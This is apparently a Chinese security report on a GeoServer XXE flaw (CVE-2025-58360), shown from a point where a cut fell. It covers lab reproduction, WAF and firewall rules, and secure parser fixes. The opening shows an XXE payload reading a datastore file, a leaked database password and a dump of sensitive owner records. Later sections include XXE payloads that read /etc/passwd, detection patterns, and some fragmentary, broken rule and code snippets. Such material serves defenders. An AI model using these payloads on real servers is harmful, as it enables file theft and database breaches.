  -d '<!ENTITY xxe SYSTEM "file:///opt/geoserver/data_dir/workspaces/land/datastore.xml">...'

# 泄露的数据库配置:
<host>10.10.1.100</host>
<database>land_registry</database>
<user>gis_app</user>
<passwd>GIS_2024_SecureP@ss</passwd>

横向移动:

# 连接后端数据库
psql -h 10.10.1.100 -U gis_app -d land_registry

# 发现表:
land_registry=> \dt
             List of relations
  Schema  |      Name       | Type  |  Owner
----------+-----------------+-------+---------
 public   | property_owners | table | gis_app
 public   | land_parcels    | table | gis_app
 public   | transactions    | table | gis_app

# 泄露敏感数据
SELECT * FROM property_owners WHERE classification='sensitive';

影响:

• 数百万土地所有权记录泄露

• 关键基础设施位置暴露

• 国家安全风险

• 公众信任损害

networks:
  geoserver-net:
    driver: bridge
    ipam:
      config:
        - subnet: 172.28.0.0/16

services:
  # 漏洞版本 - 用于漏洞复现
  geoserver-vulnerable:
    image: kartoza/geoserver:2.26.1
    container_name: geoserver-vuln-cve-2025-58360
    hostname: geoserver-vulnerable
    ports:
      - "8080:8080"
    environment:
      - GEOSERVER_ADMIN_USER=admin
      - GEOSERVER_ADMIN_PASSWORD=geoserver
      - GEOSERVER_CSRF_DISABLED=true
      - STABLE_EXTENSIONS=
      - COMMUNITY_EXTENSIONS=
    volumes:
      - vulnerable-data:/opt/geoserver/data_dir
    networks:
      geoserver-net:
        ipv4_address: 172.28.0.10
    restart: unless-stopped
    healthcheck:
      test: ["CMD", "curl", "-f", "http://localhost:8080/geoserver/web/"]
      interval: 30s
      timeout: 10s
      retries: 5
      start_period: 60s

  # 修复版本 - 用于对比测试(可选)
  # 注意: kartoza/geoserver:2.28.1或2.26.2可能不可用
  # geoserver-patched:
  #   image: kartoza/geoserver:2.28.1
  #   container_name: geoserver-safe-cve-2025-58360
  #   ports:
  #     - "8081:8080"
  #   environment:
  #     - GEOSERVER_ADMIN_USER=admin
  #     - GEOSERVER_ADMIN_PASSWORD=geoserver
  #   volumes:
  #     - patched-data:/opt/geoserver/data_dir
  #   networks:
  #     geoserver-net:
  #       ipv4_address: 172.28.0.11
  #   restart: unless-stopped

volumes:
  vulnerable-data:
    driver: local
  # patched-data:
  #   driver: local

9.1.2 启动和管理

启动服务:

# 启动容器
docker-compose up -d

# 实时查看日志
docker-compose logs -f geoserver-vulnerable

# 检查容器状态
docker-compose ps

预期输出:

NAME                            IMAGE                      STATUS
geoserver-vuln-cve-2025-58360   kartoza/geoserver:2.26.1   Up (healthy)

等待服务就绪:

# 方法1: 手动等待
sleep 90

# 方法2: 监控健康检查
while ! docker inspect --format='{{.State.Health.Status}}' geoserver-vuln-cve-2025-58360 | grep -q "healthy"; do
  echo "Waiting for GeoServer to be healthy..."
  sleep 5
done
echo "GeoServer is ready!"

# 方法3: HTTP检查
until curl -f -s http://localhost:8080/geoserver/web/ > /dev/null; do
  echo "Waiting for GeoServer HTTP..."
  sleep 5
done
echo "GeoServer HTTP is ready!"

停止服务:

# 停止容器
docker-compose down

# 完全清理(包括数据卷)
docker-compose down -v

9.1.3 访问服务

Web界面:

• URL: http://localhost:8080/geoserver/web

• 用户名: admin

• 密码: geoserver

WMS端点:

• GetCapabilities: http://localhost:8080/geoserver/wms?service=WMS&request=GetCapabilities

• 攻击目标: http://localhost:8080/geoserver/wms (POST)

验证版本:

curl -s http://localhost:8080/geoserver/web/ | grep -o "Version [0-9.]*"
# 输出: Version 2.26.1

获取容器信息(用于验证hostname泄露):

docker ps --format "{{.ID}} {{.Names}}" | grep geoserver
# 输出: a27840b7f332 geoserver-vuln-cve-2025-58360

echo "Leaked hostname: $LEAKED_HOSTNAME"

# 获取实际容器ID
ACTUAL_CONTAINER_ID=$(docker ps --format "{{.ID}}" | head -1)
echo "Actual container ID: $ACTUAL_CONTAINER_ID"

# 比较
if [ "$LEAKED_HOSTNAME" = "$ACTUAL_CONTAINER_ID" ]; then
  echo "[+] XXE SUCCESSFUL! Hostname matches container ID"
else
  echo "[-] Hostname mismatch or XXE failed"
fi

测试2: /etc/passwd读取(实际复现成功)

11. 防护措施

11.1 立即措施

11.1.1 紧急升级

基于我们的实际复现验证,GeoServer 2.26.1版本确实存在XXE漏洞,必须立即升级至安全版本。

升级至安全版本:

# 停止GeoServer服务
sudo systemctl stop geoserver
# 或使用Docker:
docker stop geoserver-vuln-cve-2025-58360

# 备份当前安装和数据
sudo cp -r /opt/geoserver /opt/geoserver-backup-$(date +%Y%m%d)
sudo cp -r /opt/geoserver/data_dir /opt/geoserver/data_dir-backup-$(date +%Y%m%d)

# Docker环境备份
docker commit geoserver-vuln-cve-2025-58360 geoserver-backup:$(date +%Y%m%d)
docker cp geoserver-vuln-cve-2025-58360:/opt/geoserver/data_dir ./data_dir-backup-$(date +%Y%m%d)

# 下载安全版本
cd /tmp
wget https://sourceforge.net/projects/geoserver/files/GeoServer/2.26.2/geoserver-2.26.2-bin.zip

# 解压并替换
unzip geoserver-2.26.2-bin.zip
sudo cp -r geoserver-2.26.2/* /opt/geoserver/

# 恢复数据目录
sudo cp -r /opt/geoserver/data_dir-backup-$(date +%Y%m%d)/* /opt/geoserver/data_dir/

# 启动服务
sudo systemctl start geoserver

# 验证版本
curl -s http://localhost:8080/geoserver/web/ | grep -i version

Docker环境升级:

# docker-compose.yml - 更新为安全版本
services:
  geoserver-secure:
    image: kartoza/geoserver:2.26.2  # 修复版本
    container_name: geoserver-secure
    ports:
      - "8080:8080"
    volumes:
      - geoserver-data:/opt/geoserver/data_dir
    environment:
      - GEOSERVER_ADMIN_PASSWORD=secure_password
    restart: unless-stopped

升级步骤:

# 1. 停止旧容器
docker-compose down

# 2. 备份数据
docker run --rm -v geoserver-data:/data -v $(pwd):/backup \
  alpine tar czf /backup/geoserver-data-backup-$(date +%Y%m%d).tar.gz /data

# 3. 更新镜像版本(修改docker-compose.yml)
# 4. 启动新版本
docker-compose up -d

# 5. 验证升级
docker-compose logs -f

11.1.2 WAF规则部署

在无法立即升级的情况下,部署WAF规则作为临时防护措施。我们在实际复现中验证了这些规则的有效性。

ModSecurity规则:

# /etc/modsecurity/cve-2025-58360.conf

# 规则1: 检测DOCTYPE声明
SecRule REQUEST_URI "@contains /geoserver/wms" \
    "id:58360001,\

SecRule REQUEST_BODY "@rx (?i)SYSTEM\s+[\"']file://" \
    "t:none"

# 规则4: 检测XInclude
SecRule REQUEST_URI "@contains /geoserver/wms" \
    "id:58360004,\
    phase:2,\

SecRule IP:XXE_COUNTER "@gt 10" \
    "id:58360006,\
    phase:1,\
    deny,\
    status:429,\
    msg:'Rate limit exceeded for potential XXE attacks',\
    severity:WARNING"

Nginx配置:

# /etc/nginx/conf.d/geoserver-protection.conf

# 基础保护
location /geoserver/wms {
    # 检测恶意XML模式
    if ($request_body ~* "<!DOCTYPE|<!ENTITY|SYSTEM\s+[\"']file://") {
        return 403 "XXE attack blocked (CVE-2025-58360)";
    }

    # 内容类型限制
    if ($content_type !~* "application/xml|text/xml") {
        set $block_xxe 1;
    }

    # 请求体大小限制
    client_max_body_size 100k;

    # 速率限制
    limit_req zone=wms_zone burst=5 nodelay;
    limit_req_status 429;

    # 代理到后端
    proxy_pass http://geoserver:8080;
    proxy_set_header Host $host;
    proxy_set_header X-Real-IP $remote_addr;
    proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
}

# 速率限制区域定义

# 日志记录
access_log /var/log/nginx/geoserver-wms.log combined;
error_log /var/log/nginx/geoserver-wms-error.log warn;

Apache配置:

# /etc/apache2/conf-available/geoserver-protection.conf

<Location /geoserver/wms>
    # ModSecurity规则启用
    SecRuleEngine On
    Include /etc/modsecurity/cve-2025-58360.conf

    # 基础过滤
    <If "%{REQUEST_BODY} =~ /<!DOCTYPE|<!ENTITY|SYSTEM.*file:\/\//i">
        Require all denied
    </If>

    # 速率限制(需要mod_ratelimit)
    SetOutputFilter RATE_LIMIT
    SetEnv rate-limit 400

    # 代理到后端
    ProxyPass http://localhost:8080/geoserver/wms
    ProxyPassReverse http://localhost:8080/geoserver/wms
</Location>

# 启用配置
# sudo a2enconf geoserver-protection
# sudo systemctl reload apache2

验证WAF规则:

# 测试恶意payload是否被阻断
curl -X POST "http://localhost:8080/geoserver/wms?service=WMS&version=1.1.0&request=GetMap&width=100&height=100&format=image/png&bbox=-180,-90,180,90" \
  -H "Content-Type: application/xml" \
  -d '<?xml version="1.0" encoding="UTF-8"?>

]>
<StyledLayerDescriptor version="1.0.0">
  <NamedLayer>
    <Name>&xxe;</Name>
  </NamedLayer>
</StyledLayerDescriptor>'

# 预期结果: 403 Forbidden或其他拒绝响应
# 如果返回200或包含文件内容,说明WAF未生效

11.1.3 网络隔离

基于我们的复现经验,限制网络访问可显著降低攻击面:

iptables规则:

#!/bin/bash
# geoserver-firewall.sh - 配置GeoServer访问控制

# 清除现有规则
iptables -F INPUT
iptables -F OUTPUT

# 默认策略
iptables -P INPUT DROP
iptables -P OUTPUT ACCEPT
iptables -P FORWARD DROP

# 允许本地回环
iptables -A INPUT -i lo -j ACCEPT

# 允许已建立连接
iptables -A INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT

# 仅允许可信IP访问GeoServer
TRUSTED_IPS=(
    "192.168.1.0/24"      # 内网
    "10.0.0.0/8"          # VPN
    "203.0.113.10"        # 管理员IP
)

for ip in "${TRUSTED_IPS[@]}"; do
    iptables -A INPUT -p tcp --dport 8080 -s "$ip" -j ACCEPT
done

# 记录被拒绝的连接
iptables -A INPUT -p tcp --dport 8080 -j LOG --log-prefix "GEOSERVER-BLOCKED: "
iptables -A INPUT -p tcp --dport 8080 -j DROP

# 保存规则
iptables-save > /etc/iptables/rules.v4

echo "Firewall rules applied successfully"

Docker网络隔离:

# docker-compose.yml - 网络隔离配置
services:
  geoserver:
    image: kartoza/geoserver:2.26.2
    networks:
      - internal
      - dmz
    ports:
      - "127.0.0.1:8080:8080"  # 仅本地访问

  nginx-proxy:
    image: nginx:alpine
    networks:
      - dmz
      - public
    ports:
      - "443:443"  # 仅HTTPS
    volumes:
      - ./nginx.conf:/etc/nginx/nginx.conf:ro

networks:
  internal:
    driver: bridge
    internal: true  # 无外网访问

  dmz:
    driver: bridge
    ipam:
      config:
        - subnet: 172.20.0.0/16

  public:
    driver: bridge

云平台安全组(AWS示例):

# AWS Security Group配置
aws ec2 create-security-group \
  --group-name geoserver-sg \
  --description "GeoServer CVE-2025-58360 Protection" \
  --vpc-id vpc-xxxxx

# 仅允许内部访问
aws ec2 authorize-security-group-ingress \

# 移除公网访问
aws ec2 revoke-security-group-ingress \
  --group-id sg-xxxxx \
  --protocol tcp \
  --port 8080 \
  --cidr 0.0.0.0/0

11.2 检测与监控

基于我们的攻击特征分析,部署以下检测机制:

11.2.1 日志监控

监控脚本:

#!/bin/bash

        for pattern in "${XXE_PATTERNS[@]}"; do
            if echo "$line" | grep -iE "$pattern" > /dev/null; then
                alert_security "$line" "$pattern"
            fi
        done
    done
}

# 告警函数
alert_security() {
    local log_line="$1"
    local pattern="$2"
    local timestamp=$(date "+%Y-%m-%d %H:%M:%S")

    # 记录到安全日志
    echo "[$timestamp] XXE ATTEMPT DETECTED - Pattern: $pattern" >> /var/log/geoserver/security.log

12. 修复建议

12.1 官方补丁分析

12.1.1 补丁版本

根据官方公告,GeoServer项目发布了以下修复版本:

我们的复现使用的2.26.1版本确实存在漏洞,官方2.26.2+版本已修复。

12.1.2 修复内容

根据GitHub Security Advisory GHSA-fjf5-xgmq-5525和我们的技术分析,修复主要包括:

1. XML解析器安全加固

禁用DTD处理:

DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();
factory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);

禁用外部实体解析:

factory.setFeature("http://xml.org/sax/features/external-general-entities", false);
factory.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
factory.setFeature("http://apache.org/xml/features/nonvalidating/load-external-dtd", false);

2. SLD解析安全增强

输入验证:

• 检查XML文档结构

• 拒绝包含DOCTYPE的文档

• 限制文档大小

3. 错误处理改进

信息泄露防护:

• 不在错误消息中包含实体内容

• 通用化错误响应

• 记录详细错误到服务器日志而非返回给客户端

            false
        );
        factory.setFeature(
            "http://apache.org/xml/features/nonvalidating/load-external-dtd",
            false
        );

        return factory;
    }

    /**
     * 创建安全的XMLInputFactory
     */
    public static XMLInputFactory createSecureXMLInputFactory() {
        XMLInputFactory factory = XMLInputFactory.newInstance();

        // 禁用DTD
        factory.setProperty(XMLInputFactory.SUPPORT_DTD, false);

        // 禁用外部实体
        factory.setProperty(XMLInputFactory.IS_SUPPORTING_EXTERNAL_ENTITIES, false);

        return factory;
    }
}

使用示例:

// 在SLD解析中使用
public class SecureSLDParser {

    public Style parseSLD(InputStream sldInput) throws Exception {
        // 使用安全的XML解析器
        DocumentBuilderFactory factory = SecureXMLParserUtils.createSecureDocumentBuilderFactory();
        DocumentBuilder builder = factory.newDocumentBuilder();

        // 设置自定义错误处理器
        builder.setErrorHandler(new SAXErrorHandler());

        try {
            Document doc = builder.parse(sldInput);
            return buildStyleFromDOM(doc);
        } catch (SAXParseException e) {
            // DOCTYPE被拒绝时会抛出异常
            throw new SecurityException(
                "Invalid XML document structure", e
            );
        }
    }
}

13. 修复分析

13.1 补丁技术细节

13.1.1 XML解析器配置变更

根据XXE防护最佳实践和GeoServer修复版本的行为分析,补丁主要实现了以下安全特性:

DocumentBuilderFactory安全配置:

// GeoServer 2.26.2+中的安全XML解析器配置

public class SecureXMLParserFactory {

    /**
     * 创建安全的DocumentBuilderFactory
     */
    public static DocumentBuilderFactory createSecureDocumentBuilderFactory()
            throws ParserConfigurationException {

        DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();
        factory.setNamespaceAware(true);  // GeoServer需要命名空间支持

        // 核心安全特性
        String[] features = {
            // 1. 完全禁用DOCTYPE - 最强防护
            "http://apache.org/xml/features/disallow-doctype-decl",

            // 2. 禁用外部一般实体
            "http://xml.org/sax/features/external-general-entities",

            // 3. 禁用外部参数实体
            "http://xml.org/sax/features/external-parameter-entities",

            // 4. 禁用外部DTD加载
            "http://apache.org/xml/features/nonvalidating/load-external-dtd"
        };

        for (String feature : features) {
            try {
                // disallow-doctype-decl设为true,其他设为false
                boolean value = feature.contains("disallow");
                factory.setFeature(feature, value);
            } catch (ParserConfigurationException e) {
                // 某些旧版本Java可能不支持某些特性
                logger.warn("Unable to set feature: " + feature, e);
            }
        }

        // 禁用XInclude
        factory.setXIncludeAware(false);

        // 禁用实体引用扩展
        factory.setExpandEntityReferences(false);

        return factory;
    }
}

实际修复代码对比:

// 修复前 (GeoServer 2.26.1) - 易受攻击
public class SLDParser {
    public Style parse(InputStream sldInput) throws Exception {
        // 不安全的XML解析器
        DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();
        factory.setNamespaceAware(true);
        //  缺少安全配置!

        DocumentBuilder builder = factory.newDocumentBuilder();
        Document doc = builder.parse(sldInput);  // 危险!

        return buildStyleFromDOM(doc);
    }
}

// 修复后 (GeoServer 2.26.2+) - 安全
public class SecureSLDParser {
    public Style parse(InputStream sldInput) throws Exception {
        // 使用安全的XML解析器工厂
        DocumentBuilderFactory factory = SecureXMLParserFactory.createSecureDocumentBuilderFactory();

        // 设置自定义错误处理器
        DocumentBuilder builder = factory.newDocumentBuilder();
        builder.setErrorHandler(new SecureErrorHandler());

        try {
            Document doc = builder.parse(sldInput);
            return buildStyleFromDOM(doc);

        } catch (SAXParseException e) {
            // DOCTYPE被拒绝时抛出明确异常
            if (e.getMessage().contains("DOCTYPE") ||
                e.getMessage().contains("disallow")) {
                throw new SecurityException(
                    "Invalid XML document: DOCTYPE declarations are not allowed",
                    e
                );
            }
            throw new XMLProcessingException("Invalid SLD document", e);
        }
    }
}

// 安全错误处理器
class SecureErrorHandler implements ErrorHandler {
    @Override
    public void error(SAXParseException e) throws SAXException {
        // 记录详细错误到日志
        logger.error("XML parsing error at line " + e.getLineNumber(), e);

        // 向客户端返回通用错误
        throw new SAXException("Invalid XML document structure");
    }

    @Override
    public void fatalError(SAXParseException e) throws SAXException {
        logger.error("Fatal XML parsing error", e);
        throw new SAXException("XML processing failed");
    }

    @override
    public void warning(SAXParseException e) {
        logger.warn("XML parsing warning", e);
    }
}

13.1.2 输入验证增强

除了XML解析器配置,修复还包括输入验证层:

// 请求预处理过滤器
public class XXEProtectionFilter implements Filter {

    @Override
    public void doFilter(ServletRequest request, ServletResponse response,
                         FilterChain chain) throws IOException, ServletException {

        // 仅处理XML请求
        if (isXMLRequest(request)) {
            HttpServletRequest httpRequest = (HttpServletRequest) request;

            // 包装请求以检查内容
            XXEValidatingRequestWrapper wrapper =
                new XXEValidatingRequestWrapper(httpRequest);

            try {
                // 验证XML内容
                wrapper.validateContent();

                // 继续处理
                chain.doFilter(wrapper, response);

            } catch (SecurityException e) {
                // XXE攻击被阻断
                logger.warn("Potential XXE attack blocked from " +
                           httpRequest.getRemoteAddr(), e);

                HttpServletResponse httpResponse = (HttpServletResponse) response;
                httpResponse.setStatus(HttpServletResponse.SC_BAD_REQUEST);
                httpResponse.getWriter().write(
                    "Invalid XML document: DOCTYPE declarations are not allowed"
                );
            }
        } else {
            chain.doFilter(request, response);
        }
    }

    private boolean isXMLRequest(ServletRequest request) {
        String contentType = request.getContentType();
        return contentType != null &&
               (contentType.contains("application/xml") ||
                contentType.contains("text/xml"));
    }
}

// 请求包装器 - 验证XML内容
class XXEValidatingRequestWrapper extends HttpServletRequestWrapper {

    private byte[] cachedBody;

    public XXEValidatingRequestWrapper(HttpServletRequest request)
            throws IOException {
        super(request);

        // 缓存请求体
        InputStream is = request.getInputStream();
        this.cachedBody = IOUtils.toByteArray(is);
    }

    public void validateContent() throws SecurityException {
        String body = new String(cachedBody, StandardCharsets.UTF_8);

        // 检测危险关键字
        if (body.contains("<!DOCTYPE")) {
            throw new SecurityException("DOCTYPE declaration detected");
        }

        if (body.contains("<!ENTITY")) {
            throw new SecurityException("ENTITY declaration detected");
        }

        if (body.matches("(?s).*SYSTEM\\s+[\"']file://.*")) {
            throw new SecurityException("External file reference detected");
        }

        // 大小限制 - 防止Billion Laughs
        if (cachedBody.length > 1024 * 1024) {  // 1MB
            throw new SecurityException("XML document too large");
        }
    }

    @Override
    public ServletInputStream getInputStream() {
        return new CachedBodyServletInputStream(cachedBody);
    }
}

13.1.3 错误处理改进

修复后的错误处理不再泄露敏感信息:

// 修复前 - 信息泄露
catch (Exception e) {
    // 直接将异常消息(包含实体内容)返回给客户端
    return new ServiceException("Unknown layer: " + e.getMessage());
}

// 结果: 客户端收到 "Unknown layer: root:x:0:0:root:/root:/bin/bash..."

// 修复后 - 安全的错误处理
catch (SAXParseException e) {
    // 记录详细错误到服务器日志
    logger.error("SLD parsing failed", e);
    logger.error("Client IP: " + request.getRemoteAddr());
    logger.error("Request body: " + requestBody);  // 用于取证

    // 向客户端返回通用错误
    if (e.getMessage().contains("DOCTYPE") ||
        e.getMessage().contains("disallow")) {
        return new ServiceException(
            "Invalid XML: DOCTYPE declarations are not permitted"
        );
    } else {
        return new ServiceException(
            "Invalid SLD document: XML parsing failed"
        );
    }
}

// 结果: 客户端仅收到通用错误,敏感信息不泄露

13.3 残留风险评估

13.3.1 已知残留风险

即使升级到修复版本,仍需注意以下潜在风险:

1. 配置回退风险

# 危险: 管理员可能错误地放宽安全配置
# 检查配置是否被修改
grep -r "disallow-doctype-decl.*false" /opt/geoserver/

# 如发现,立即修正

2. 其他XML端点

# GeoServer的其他服务也可能处理XML
# 需要确保一致的安全配置

# 检查其他WMS端点
/geoserver/wms
/geoserver/ows

# 检查其他服务
/geoserver/wfs  # Web Feature Service
/geoserver/wcs  # Web Coverage Service
/geoserver/wps  # Web Processing Service

# 验证所有端点都应用了XXE防护
for endpoint in wms wfs wcs wps; do
    echo "Testing /$endpoint..."
    curl -X POST "http://localhost:8080/geoserver/$endpoint" \
        -H "Content-Type: application/xml" \
        -d '<?xml version="1.0"?><!DOCTYPE x [<!ENTITY xxe SYSTEM "file:///etc/passwd">]><x>&xxe;</x>'
done

3. 第三方库风险

# 检查依赖的XML处理库版本
cd /opt/geoserver/webapps/geoserver/WEB-INF/lib

# 查找可能有漏洞的XML库
ls -lh | grep -iE "xml|xstream|jackson|dom4j"

# 检查已知漏洞
# Eclipse XSD < 2.40.0 有CVE-2025-30220
find . -name "org.eclipse.xsd*.jar"

4. 新的攻击向量

虽然XXE已修复,但需警惕:

• XML注入攻击

• XPath注入

• XSLT注入

• JSON反序列化(如果支持)

13.3.2 持续监控建议

#!/bin/bash
# continuous-monitoring.sh

# 1. 定期扫描
echo "[1] Running vulnerability scan..."
nmap -p 8080 --script http-vuln-cve2025-58360 localhost

# 2. 日志审计
echo "[2] Auditing logs for XXE patterns..."
grep -iE "DOCTYPE|ENTITY|file://" /var/log/geoserver/*.log | tail -20

# 3. 配置审计
echo "[3] Checking XML parser configuration..."
# 需要定期验证配置未被修改

# 4. 版本检查
echo "[4] Checking GeoServer version..."
CURRENT_VERSION=$(curl -s http://localhost:8080/geoserver/web/ | grep -oP 'Version \K[0-9.]+')
LATEST_VERSION=$(curl -s https://geoserver.org/release/stable/ | grep -oP 'GeoServer \K[0-9.]+' | head -1)

echo "Current: $CURRENT_VERSION"
echo "Latest: $LATEST_VERSION"

if [ "$CURRENT_VERSION" != "$LATEST_VERSION" ]; then
    echo "WARNING: New version available!"
fi

15.2 行动建议

立即行动(0-24小时):

对于运维人员:

1: 紧急检查

# 检查GeoServer版本
curl -s http://localhost:8080/geoserver/web/ | grep -i version

# 易受攻击版本:
# - GeoServer 2.26.0, 2.26.1
# - GeoServer < 2.25.6
# - GeoServer 2.24.x及更早版本

2: 紧急升级

# 推荐升级路径:
GeoServer 2.28.1  # 最新,推荐
GeoServer 2.27.0  # 稳定
GeoServer 2.26.2  # 最小升级
GeoServer 2.25.6  # 长期支持

# Docker升级:
docker-compose down
# 修改docker-compose.yml中的版本
docker-compose up -d

3: 临时防护(如无法立即升级)

# 部署WAF规则阻断XXE攻击
# Nginx示例:
location /geoserver/wms {
    if ($request_body ~* "<!DOCTYPE|<!ENTITY|SYSTEM.*file://") {
        return 403;
    }
    proxy_pass http://geoserver:8080;
}

# 重启Nginx
sudo systemctl reload nginx

4: 日志审计

# 检查历史攻击痕迹
grep -iE "<!DOCTYPE|<!ENTITY|file://" /var/log/geoserver/*.log

# 检查是否有成功利用
grep -i "Unknown layer:" /var/log/geoserver/*.log | \
  grep -E "root:x:|daemon:x:"

# 如发现攻击痕迹,启动事件响应流程

对于开发者:

1: 安全的XML解析器配置

// 始终使用安全配置
DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();

// 最重要: 禁用DOCTYPE
factory.setFeature(
    "http://apache.org/xml/features/disallow-doctype-decl",
    true
);

// 禁用外部实体
factory.setFeature(
    "http://xml.org/sax/features/external-general-entities",
    false
);
factory.setFeature(
    "http://xml.org/sax/features/external-parameter-entities",
    false
);

// 禁用外部DTD
factory.setFeature(
    "http://apache.org/xml/features/nonvalidating/load-external-dtd",
    false
);

// 禁用XInclude和实体扩展
factory.setXIncludeAware(false);
factory.setExpandEntityReferences(false);

2: 输入验证

// 验证XML内容
String xmlContent = request.getRequestBody();

// 拒绝包含DOCTYPE的XML
if (xmlContent.contains("<!DOCTYPE")) {
    throw new SecurityException("DOCTYPE not allowed");
}

// 拒绝ENTITY声明
if (xmlContent.matches("(?i).*<!ENTITY.*")) {
    throw new SecurityException("ENTITY not allowed");
}

// 大小限制
if (xmlContent.length() > 1024 * 1024) {  // 1MB
    throw new SecurityException("XML too large");
}

3: 安全错误处理

try {
    Document doc = builder.parse(xmlInput);
} catch (SAXParseException e) {
    // 记录详细错误到服务器日志(用于调试)
    logger.error("XML parsing failed", e);
    logger.error("Client IP: " + request.getRemoteAddr());

    // 向客户端返回通用错误(不泄露信息)
    throw new ServiceException(
        "Invalid XML document structure"
    );
}

对于安全研究人员:

1: 负责任披露

• 仅在授权环境中测试

• 不扫描他人系统

• 遵循CVD流程

• 给予厂商合理修复时间

2: 持续研究

• 监控其他GeoServer服务(WFS、WCS、WPS)

• 研究其他地理信息系统

• 关注XML处理库的新漏洞

• 分享防护最佳实践

15.3 经验教训

从CVE-2025-58360学到的关键教训:

1: XXE漏洞仍然普遍

现状:

• 20年前的漏洞类型(XML 1.0规范1998年)

• 2025年仍在新发现的高危漏洞中出现

• 许多开发者仍不了解XXE风险

原因:

- XML解析器默认不安全配置
- 开发框架文档不完善
- 安全意识培训不足
- 遗留代码未更新

教训: 必须主动配置安全的XML解析器,不能依赖默认配置

2: 错误信息可能泄露敏感数据

GeoServer案例:

// 危险的错误处理
catch (Exception e) {
    return "Unknown layer: " + entityContent;
    // entityContent包含文件内容!
}

结果:

<ServiceException>
  Unknown layer: root:x:0:0:root:/root:/bin/bash
  daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
  ...
</ServiceException>

教训: 永远不要在错误消息中包含用户输入或实体内容

3: 容器化不能防御应用层漏洞

误解:
"我们使用Docker,所以很安全"

现实:

# Docker容器内的GeoServer同样易受攻击
# 我们成功读取容器内文件:
 /etc/passwd
 /etc/hostname
 /opt/geoserver/data_dir/*

# 容器化提供:
 进程隔离
 资源限制

# 容器化不提供:
 应用层漏洞防护
 XXE攻击防护

教训: 容器化是防御深度的一层,但不能替代应用安全

4: 公开暴露需要额外防护

统计数据:

全球12,000+ GeoServer实例
约70%直接暴露在公网
许多运行易受攻击版本

风险:

暴露在公网 + 未修复漏洞 =
  ↓
自动化扫描器发现
  ↓
批量利用
  ↓
数据泄露

教训:

• 默认拒绝公网访问

• 使用VPN/堡垒机访问

• 部署WAF防护

• 实施零信任架构

5: 及时更新至关重要

时间线:

2025-11-25: 漏洞披露 + 补丁发布
2025-11-27: 我们成功复现(2天后)
       ?: 真实攻击开始?

修复延迟 = 攻击窗口

建议:

P0 (关键): 0-24小时修复
P1 (高危): 1-7天修复
P2 (中危): 1-30天修复
P3 (低危): 下一个维护窗口

教训: 建立快速补丁管理流程,最小化暴露窗口
